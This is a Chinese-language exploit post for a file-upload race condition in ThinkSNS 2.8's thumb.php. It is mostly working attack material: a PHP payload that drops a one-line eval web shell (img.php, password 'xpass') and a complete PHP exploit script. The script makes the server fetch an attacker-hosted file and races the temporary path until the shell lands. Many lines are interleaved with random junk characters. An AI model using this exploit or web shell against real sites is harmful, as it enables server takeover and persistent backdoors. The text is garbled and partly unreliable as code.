Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
6 w0 v0 V- W' }( S& I' @5 L" |漏洞文件
9 L9 k/ T4 f  f1 N* N2 j存在漏洞的文件为：thumb.php
作者：韦鲲鹏
; f! v: V/ Q: e1 \8 t, B# q% i1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
* t/ S6 q6 c) M* b3 ]<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
. q3 i- k; s0 I) O这里我们可以看文件的99行（刚刚是不是没注意呀！）。

- h; U7 T$ ^9 ^$ }3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
' I1 M4 C: U# n( a7 rExploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
9 Z$ l7 o9 b# eset_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
return $fp;
}
% z0 n, U6 M- U( ?1 ?" y: Y3 K$ e6 ofunction http_recv($fp) {
$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
: n9 h! d! _5 yfclose($fp);
. J0 G! `2 ^/ m3 ~" [1 Jreturn $ret;
! v5 R, B7 k3 ]" j, E' k4 {6 C* u}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
) h% ^+ B, n1 D! ?% {' Rprint “# Discovered by 韦鲲鹏 #\n\n”;
) C: ~  _8 X4 u  eif ($argc < 4) {
5 L, Y! q8 R: N  I# B. ^! _  Vprint “Usage:   php <host> <path> <romote_url>\n”;
8 c0 g1 r: k2 [* \* B. |print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
+ |) q. a' D; R. H" q+ P9 S) w4 d}
+ w" }4 C5 U# r( P. `. v8 H$ X5 P$host = $argv[1];
5 I6 D! U$ I& G* p$path = $argv[2];
$url = $argv[3];
9 M& `7 V7 S; ~# o4 R- Y6 s+ z+ m/ |$i=0;
" h$ {& S- @& X1 q/ A; e//上传数据包
& s2 e: u% P1 s, h' G, V+ d5 |$ D$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
6 s9 C3 q6 x2 w2 x6 T8 W2 G, r5 G$headers_up .= “Connection: close\r\n\r\n”;
4 C- j2 ?% L+ F$ I+ E( D6 r" eecho $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
8 C! _# {  @9 g$headers .= “Host: “.$host.”\r\n”;
/ V- k1 ~9 Y) b+ @6 o! q3 Y$headers .= “Connection: close\r\n\r\n”;
7 ]) S: n( I! S$ P3 v5 ^echo $headers;
while(++$i<10) {
3 i8 K) A0 c7 N; y/ k: e% Kfclose(http_send($host, 80, $headers));
}
5 l9 o7 g- ^( R3 i5 J' w( gfclose(http_send($host, 80, $headers_up));
# `. ~# O5 ?$ N8 y! m% h$ Ewhile(++$i<50) {
% [* p7 o% i+ S: d" lfclose(http_send($host, 80, $headers));
9 e3 `& C# c, Y) _4 X}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
( |/ ~+ Y+ |& H) W! S# d9 ~2 }  K$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
& [( E3 Y  u8 a0 _9 Mif(preg_match(‘/200 OK/’,$res)) {
: k1 O6 g& b0 n8 F8 fprint “Success!\n\n”;
0 S5 U: W$ |4 n} else {
# I" V! P6 C% D9 B* c& d1 ]' _print “Fail!\n\n”;
! r! L0 {6 x# U& k}
2 x- }$ P( y6 H- h# h7 y, x?>
​